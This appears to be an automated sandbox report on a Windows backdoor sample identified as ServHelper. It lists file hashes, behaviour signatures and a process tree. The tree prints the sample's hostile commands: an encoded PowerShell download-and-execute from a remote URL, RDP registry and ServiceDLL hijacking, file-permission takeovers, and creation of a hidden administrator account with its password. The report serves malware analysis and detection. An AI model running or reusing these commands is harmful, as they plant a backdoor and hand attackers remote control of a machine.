Analysis

  • max time kernel
    148s
  • max time network
    123s
  • platform
    windows7_x64
  • resource
    win7-en-20211208
  • submitted
    31-01-2022 23:55

General

  • Target

    979d0a6a47f5f3f282badec05e9e6040d44200b1bbf730efe65f9a48b5d3c34e.exe

  • Size

    4.5MB

  • MD5

    e9fae6305a1e589c8b63bb9ce114b2bc

  • SHA1

    0f2f0b98ce5a51595a91b6ebb43dfc4f10e94ecb

  • SHA256

    979d0a6a47f5f3f282badec05e9e6040d44200b1bbf730efe65f9a48b5d3c34e

  • SHA512

    2b92d944165910640cd8e79278dddbf314f3e6257e8293346905a6f2d658cfc98ef6a5077e3c37acddad7d8bb7e25ee8ec487fbbf25669f926032877ad7a937c

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

https://raw.githubusercontent.com/sqlitey/sqlite/master/speed.ps1

Signatures

  • ServHelper

    ServHelper is a backdoor written in Delphi and is associated with the hacking group TA505.

  • Grants admin privileges 1 TTPs

    Uses net.exe to modify the user's privileges.

  • Blocklisted process makes network request 2 IoCs
  • Modifies RDP port number used by Windows 1 TTPs
  • Possible privilege escalation attempt 8 IoCs
  • Sets DLL path for service in the registry 2 TTPs
  • UPX packed file 2 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Loads dropped DLL 2 IoCs
  • Modifies file permissions 1 TTPs 8 IoCs
  • Drops file in System32 directory 1 IoCs
  • Drops file in Windows directory 9 IoCs
  • Modifies data under HKEY_USERS 4 IoCs
  • Modifies registry key 1 TTPs 1 IoCs
  • Runs net.exe
  • Suspicious behavior: EnumeratesProcesses 8 IoCs
  • Suspicious behavior: LoadsDriver 5 IoCs
  • Suspicious use of AdjustPrivilegeToken 18 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\979d0a6a47f5f3f282badec05e9e6040d44200b1bbf730efe65f9a48b5d3c34e.exe
    "C:\Users\Admin\AppData\Local\Temp\979d0a6a47f5f3f282badec05e9e6040d44200b1bbf730efe65f9a48b5d3c34e.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1668
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" -ep bypass & 'C:\Users\Admin\AppData\Local\Temp\\ready.ps1'
      2⤵
      • Drops file in System32 directory
      • Drops file in Windows directory
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:320
      • C:\Windows\Microsoft.NET\Framework64\v2.0.50727\csc.exe
        "C:\Windows\Microsoft.NET\Framework64\v2.0.50727\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\eglhwdaj.cmdline"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:1852
        • C:\Windows\Microsoft.NET\Framework64\v2.0.50727\cvtres.exe
          C:\Windows\Microsoft.NET\Framework64\v2.0.50727\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESFE5D.tmp" "c:\Users\Admin\AppData\Local\Temp\CSCFE4C.tmp"
          4⤵
            PID:1280
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -s -NoLogo -NoProfile
          3⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:396
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -s -NoLogo -NoProfile
          3⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:1164
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -s -NoLogo -NoProfile
          3⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:2020
        • C:\Windows\system32\takeown.exe
          "C:\Windows\system32\takeown.exe" /A /F rfxvmt.dll
          3⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          PID:1584
        • C:\Windows\system32\icacls.exe
          "C:\Windows\system32\icacls.exe" rfxvmt.dll /inheritance:d
          3⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          PID:2032
        • C:\Windows\system32\icacls.exe
          "C:\Windows\system32\icacls.exe" rfxvmt.dll /setowner "NT SERVICE\TrustedInstaller"
          3⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          • Suspicious use of AdjustPrivilegeToken
          PID:484
        • C:\Windows\system32\icacls.exe
          "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant "NT SERVICE\TrustedInstaller:F"
          3⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          PID:1064
        • C:\Windows\system32\icacls.exe
          "C:\Windows\system32\icacls.exe" rfxvmt.dll /remove "NT AUTHORITY\SYSTEM"
          3⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          PID:1500
        • C:\Windows\system32\icacls.exe
          "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant "NT AUTHORITY\SYSTEM:RX"
          3⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          PID:1924
        • C:\Windows\system32\icacls.exe
          "C:\Windows\system32\icacls.exe" rfxvmt.dll /remove BUILTIN\Administrators
          3⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          PID:580
        • C:\Windows\system32\icacls.exe
          "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant BUILTIN\Administrators:RX
          3⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          PID:1348
        • C:\Windows\system32\reg.exe
          "C:\Windows\system32\reg.exe" ADD "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 0x1C21 /f
          3⤵
            PID:1804
          • C:\Windows\system32\reg.exe
            "C:\Windows\system32\reg.exe" add HKLM\system\currentcontrolset\services\TermService\parameters /v ServiceDLL /t REG_EXPAND_SZ /d C:\Windows\branding\mediasrv.png /f
            3⤵
            • Modifies registry key
            PID:1764
          • C:\Windows\system32\reg.exe
            "C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v fEnableWddmDriver /t reg_dword /d 0 /f
            3⤵
              PID:1964
            • C:\Windows\system32\net.exe
              "C:\Windows\system32\net.exe" localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
              3⤵
              • Suspicious use of WriteProcessMemory
              PID:1896
              • C:\Windows\system32\net1.exe
                C:\Windows\system32\net1 localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
                4⤵
                  PID:1192
              • C:\Windows\system32\cmd.exe
                "C:\Windows\system32\cmd.exe" /c cmd /c net start rdpdr
                3⤵
                • Suspicious use of WriteProcessMemory
                PID:956
                • C:\Windows\system32\cmd.exe
                  cmd /c net start rdpdr
                  4⤵
                  • Suspicious use of WriteProcessMemory
                  PID:2012
                  • C:\Windows\system32\net.exe
                    net start rdpdr
                    5⤵
                      PID:1256
                      • C:\Windows\system32\net1.exe
                        C:\Windows\system32\net1 start rdpdr
                        6⤵
                          PID:432
                  • C:\Windows\system32\cmd.exe
                    "C:\Windows\system32\cmd.exe" /c cmd /c net start TermService
                    3⤵
                      PID:1656
                      • C:\Windows\system32\cmd.exe
                        cmd /c net start TermService
                        4⤵
                          PID:308
                          • C:\Windows\system32\net.exe
                            net start TermService
                            5⤵
                              PID:1708
                              • C:\Windows\system32\net1.exe
                                C:\Windows\system32\net1 start TermService
                                6⤵
                                  PID:1960
                          • C:\Windows\system32\cmd.exe
                            "C:\Windows\system32\cmd.exe" /c del %temp%\*.ps1 /f
                            3⤵
                              PID:1684
                            • C:\Windows\system32\cmd.exe
                              "C:\Windows\system32\cmd.exe" /c del %temp%\*.txt /f
                              3⤵
                                PID:1560
                          • C:\Windows\System32\cmd.exe
                            cmd /C net.exe user WgaUtilAcc 000000 /del
                            1⤵
                              PID:1700
                              • C:\Windows\system32\net.exe
                                net.exe user WgaUtilAcc 000000 /del
                                2⤵
                                  PID:1784
                                  • C:\Windows\system32\net1.exe
                                    C:\Windows\system32\net1 user WgaUtilAcc 000000 /del
                                    3⤵
                                      PID:1736
                                • C:\Windows\System32\cmd.exe
                                  cmd /C net.exe user WgaUtilAcc WcrTO2nx /add
                                  1⤵
                                    PID:1980
                                    • C:\Windows\system32\net.exe
                                      net.exe user WgaUtilAcc WcrTO2nx /add
                                      2⤵
                                        PID:1752
                                        • C:\Windows\system32\net1.exe
                                          C:\Windows\system32\net1 user WgaUtilAcc WcrTO2nx /add
                                          3⤵
                                            PID:2000
                                      • C:\Windows\System32\cmd.exe
                                        cmd /C net.exe LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
                                        1⤵
                                          PID:360
                                          • C:\Windows\system32\net.exe
                                            net.exe LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
                                            2⤵
                                              PID:1264
                                              • C:\Windows\system32\net1.exe
                                                C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
                                                3⤵
                                                  PID:1696
                                            • C:\Windows\System32\cmd.exe
                                              cmd /C net.exe LOCALGROUP "Remote Desktop Users" VQVVOAJK$ /ADD
                                              1⤵
                                                PID:1536
                                                • C:\Windows\system32\net.exe
                                                  net.exe LOCALGROUP "Remote Desktop Users" VQVVOAJK$ /ADD
                                                  2⤵
                                                    PID:1632
                                                    • C:\Windows\system32\net1.exe
                                                      C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" VQVVOAJK$ /ADD
                                                      3⤵
                                                        PID:1500
                                                  • C:\Windows\System32\cmd.exe
                                                    cmd /C net.exe LOCALGROUP "Administrators" WgaUtilAcc /ADD
                                                    1⤵
                                                      PID:1280
                                                      • C:\Windows\system32\net.exe
                                                        net.exe LOCALGROUP "Administrators" WgaUtilAcc /ADD
                                                        2⤵
                                                          PID:276
                                                          • C:\Windows\system32\net1.exe
                                                            C:\Windows\system32\net1 LOCALGROUP "Administrators" WgaUtilAcc /ADD
                                                            3⤵
                                                              PID:1956
                                                        • C:\Windows\System32\cmd.exe
                                                          cmd /C net.exe user WgaUtilAcc WcrTO2nx
                                                          1⤵
                                                            PID:1140
                                                            • C:\Windows\system32\net.exe
                                                              net.exe user WgaUtilAcc WcrTO2nx
                                                              2⤵
                                                                PID:1256
                                                                • C:\Windows\system32\net1.exe
                                                                  C:\Windows\system32\net1 user WgaUtilAcc WcrTO2nx
                                                                  3⤵
                                                                    PID:2012
                                                              • C:\Windows\System32\cmd.exe
                                                                cmd.exe /C wmic path win32_VideoController get name
                                                                1⤵
                                                                  PID:996
                                                                  • C:\Windows\System32\Wbem\WMIC.exe
                                                                    wmic path win32_VideoController get name
                                                                    2⤵
                                                                    • Modifies data under HKEY_USERS
                                                                    • Suspicious use of AdjustPrivilegeToken
                                                                    PID:1736
                                                                • C:\Windows\System32\cmd.exe
                                                                  cmd.exe /C wmic CPU get NAME
                                                                  1⤵
                                                                    PID:1752
                                                                    • C:\Windows\System32\Wbem\WMIC.exe
                                                                      wmic CPU get NAME
                                                                      2⤵
                                                                      • Modifies data under HKEY_USERS
                                                                      • Suspicious use of AdjustPrivilegeToken
                                                                      PID:2032
                                                                  • C:\Windows\System32\cmd.exe
                                                                    cmd.exe /C cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
                                                                    1⤵
                                                                      PID:1792
                                                                      • C:\Windows\system32\cmd.exe
                                                                        cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
                                                                        2⤵
                                                                          PID:1796
                                                                          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                            powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
                                                                            3⤵
                                                                            • Blocklisted process makes network request
                                                                            • Drops file in Windows directory
                                                                            • Modifies data under HKEY_USERS
                                                                            • Suspicious behavior: EnumeratesProcesses
                                                                            • Suspicious use of AdjustPrivilegeToken
                                                                            PID:1924

                                                                      Network

                                                                      MITRE ATT&CK Enterprise v6

                                                                      Replay Monitor

                                                                      Loading Replay Monitor...

                                                                      Downloads

                                                                      • memory/320-60-0x000007FEEB7C0000-0x000007FEEC31D000-memory.dmp

                                                                        Filesize

                                                                        11.4MB

                                                                      • memory/320-66-0x000000000243B000-0x000000000245A000-memory.dmp

                                                                        Filesize

                                                                        124KB

                                                                      • memory/320-64-0x000000001B710000-0x000000001BA0F000-memory.dmp

                                                                        Filesize

                                                                        3.0MB

                                                                      • memory/320-74-0x000000000245D000-0x000000000245E000-memory.dmp

                                                                        Filesize

                                                                        4KB

                                                                      • memory/320-63-0x0000000002434000-0x0000000002437000-memory.dmp

                                                                        Filesize

                                                                        12KB

                                                                      • memory/320-61-0x0000000002430000-0x0000000002432000-memory.dmp

                                                                        Filesize

                                                                        8KB

                                                                      • memory/320-62-0x0000000002432000-0x0000000002434000-memory.dmp

                                                                        Filesize

                                                                        8KB

                                                                      • memory/320-59-0x000007FEFB9C1000-0x000007FEFB9C3000-memory.dmp

                                                                        Filesize

                                                                        8KB

                                                                      • memory/396-82-0x0000000002327000-0x0000000002328000-memory.dmp

                                                                        Filesize

                                                                        4KB

                                                                      • memory/396-78-0x000000001B750000-0x000000001BA4F000-memory.dmp

                                                                        Filesize

                                                                        3.0MB

                                                                      • memory/396-79-0x0000000002320000-0x0000000002322000-memory.dmp

                                                                        Filesize

                                                                        8KB

                                                                      • memory/396-83-0x000000000232C000-0x000000000234B000-memory.dmp

                                                                        Filesize

                                                                        124KB

                                                                      • memory/396-80-0x0000000002322000-0x0000000002324000-memory.dmp

                                                                        Filesize

                                                                        8KB

                                                                      • memory/396-77-0x000007FEEB7C0000-0x000007FEEC31D000-memory.dmp

                                                                        Filesize

                                                                        11.4MB

                                                                      • memory/396-81-0x0000000002324000-0x0000000002327000-memory.dmp

                                                                        Filesize

                                                                        12KB

                                                                      • memory/1164-88-0x00000000025B2000-0x00000000025B4000-memory.dmp

                                                                        Filesize

                                                                        8KB

                                                                      • memory/1164-89-0x000000001B780000-0x000000001BA7F000-memory.dmp

                                                                        Filesize

                                                                        3.0MB

                                                                      • memory/1164-90-0x00000000025B4000-0x00000000025B7000-memory.dmp

                                                                        Filesize

                                                                        12KB

                                                                      • memory/1164-91-0x00000000025B7000-0x00000000025B8000-memory.dmp

                                                                        Filesize

                                                                        4KB

                                                                      • memory/1164-92-0x00000000025BC000-0x00000000025DB000-memory.dmp

                                                                        Filesize

                                                                        124KB

                                                                      • memory/1164-87-0x00000000025B0000-0x00000000025B2000-memory.dmp

                                                                        Filesize

                                                                        8KB

                                                                      • memory/1164-86-0x000007FEEB7C0000-0x000007FEEC31D000-memory.dmp

                                                                        Filesize

                                                                        11.4MB

                                                                      • memory/1668-58-0x0000000041147000-0x0000000041148000-memory.dmp

                                                                        Filesize

                                                                        4KB

                                                                      • memory/1668-54-0x0000000041470000-0x0000000041720000-memory.dmp

                                                                        Filesize

                                                                        2.7MB

                                                                      • memory/1668-56-0x0000000041144000-0x0000000041146000-memory.dmp

                                                                        Filesize

                                                                        8KB

                                                                      • memory/1668-55-0x0000000041142000-0x0000000041144000-memory.dmp

                                                                        Filesize

                                                                        8KB

                                                                      • memory/1668-57-0x0000000041146000-0x0000000041147000-memory.dmp

                                                                        Filesize

                                                                        4KB

                                                                      • memory/1924-110-0x0000000000F90000-0x0000000001092000-memory.dmp

                                                                        Filesize

                                                                        1.0MB

                                                                      • memory/1924-109-0x000007FEEB7C0000-0x000007FEEC31D000-memory.dmp

                                                                        Filesize

                                                                        11.4MB

                                                                      • memory/1924-111-0x0000000001092000-0x0000000001094000-memory.dmp

                                                                        Filesize

                                                                        8KB

                                                                      • memory/1924-112-0x0000000001094000-0x0000000001097000-memory.dmp

                                                                        Filesize

                                                                        12KB

                                                                      • memory/1924-113-0x000000000109B000-0x00000000010BA000-memory.dmp

                                                                        Filesize

                                                                        124KB

                                                                      • memory/2020-96-0x000000001B9A0000-0x000000001BC9F000-memory.dmp

                                                                        Filesize

                                                                        3.0MB

                                                                      • memory/2020-95-0x000007FEEB7C0000-0x000007FEEC31D000-memory.dmp

                                                                        Filesize

                                                                        11.4MB

                                                                      • memory/2020-101-0x0000000002497000-0x0000000002498000-memory.dmp

                                                                        Filesize

                                                                        4KB

                                                                      • memory/2020-100-0x0000000002494000-0x0000000002497000-memory.dmp

                                                                        Filesize

                                                                        12KB

                                                                      • memory/2020-98-0x0000000002492000-0x0000000002494000-memory.dmp

                                                                        Filesize

                                                                        8KB

                                                                      • memory/2020-99-0x000000000249C000-0x00000000024BB000-memory.dmp

                                                                        Filesize

                                                                        124KB

                                                                      • memory/2020-97-0x0000000002490000-0x0000000002492000-memory.dmp

                                                                        Filesize

                                                                        8KB